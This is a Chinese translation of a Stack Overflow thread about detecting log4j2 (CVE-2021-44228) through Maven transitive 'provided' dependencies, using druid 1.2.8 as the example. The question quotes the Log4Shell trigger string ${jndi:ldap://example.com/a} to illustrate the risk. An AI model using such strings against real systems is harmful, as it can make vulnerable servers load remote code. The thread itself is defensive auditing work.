我们如何解决Maven中的传递性依赖问题?

4
12月10日,发现了log4j2的一个严重漏洞(CVE-2021-44228)。我被要求检测我们项目中所有使用log4j(包括直接和传递依赖关系)的情况(主要是Maven项目)。如果log4j2被列为直接依赖项,则很容易检测出来。我可以通过mvn dependency:treemvn dependency:build-classpath来检查它们。如下所示的树形结构。我知道Eclipse Steady和OWASP也是使用这种方法。

my-company:my-app:v1.0
\- org.apache.logging.log4j:log4j-api:jar:2.13.3:compile

然而,在某些特殊情况下,情况并不那么简单。例如,我有另一个项目:

my-company:my-app2:v1.0
\- com.alibaba:druid:jar:1.2.8:compile

看起来很清晰,对吧?但实际上,在druid 1.2.8中,log4j2被列为“provided”依赖项。请参考此处的Pom文件here。根据Maven文档,“provided”域不是传递性的,因此log4j不在树中列出。 但实际上它确实存在。我可以在这个druid:1.2.8中找到log4j的函数调用。 请参考此处:log4j2 in druid 。 我还使用soot来确保可以实际访问该函数。 根据此网页,任何类似于${jndi:ldap://example.com/a}的字符串都可能引起此类问题。因此,理论上druid:1.2.8已被感染。 实际上的依赖关系可能像这样:

my-company:my-app2:v1.0
\- com.alibaba:druid:jar:1.2.8:compile
    \-org.apache.logging.log4j:log4j-core:jar:2.13.3:provided

我们将log4jmy-app2之间的关系定义为传递性“provided”依赖项。 这是我的问题:
  1. 为什么Maven依赖树中不会列出传递性的provided依赖?仅仅是为了更好地理解依赖关系。

  2. 除了手动逐一检查POM文件,我们该如何解决传递性的provided依赖?


嗨,我有同样的问题,依赖项具有提供作用域的log4j,您能够解决它吗?谢谢。 - Diego Ramos
1个回答

4
Java中的类和方法解析是在运行时发生的,即第一次引用类或方法。如果在没有将LoggerLogManager添加到类路径中的情况下运行链接的代码,这将导致抛出错误。如果它实际上没有被使用,例如如果必须手动配置它,则完全没有问题。
还要注意,LoggerLogManager都是log4j-api依赖项的一部分,而受漏洞影响的代码位于log4j-core中。对log4j-api的依赖应该完全没有问题,并且有一些项目(如log4j-to-slf4j)实现了此API并将实际日志记录委托给不同的实现。

根据Maven范围文档,“provided”依赖项仅参与编译,而不参与运行时,因此这个LoggerLogManager是否可以在编译期间解析,而不是首次运行时? - lida ZHAO
此外,我最担心的是log4j参与编译,它的一部分代码被编译到“druid”中。也许在这种情况下,“Logger”和“LogManager”不容易受到攻击,但是通过认真编辑是否可以包含任何有漏洞的代码呢?如果是这样,我们将如何知道呢?因为Maven没有列出所有传递的“provided”依赖项。 - lida ZHAO
你好,我遇到了同样的问题,依赖项使用了 provided 作用域的 log4j,你解决了吗?谢谢。 - Diego Ramos
@DiegoRamos 我想我终于弄明白了。如果一个依赖项在提供的范围内,那么这个依赖项将不会随着JAR一起发布,但是用户在运行时必须在类路径中提供该依赖项。因此,无需传递解析提供的依赖项。相反,只需查找顶级项目类路径中的依赖项即可。顶级依赖项的版本将覆盖所有其他同名依赖项。 - lida ZHAO

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接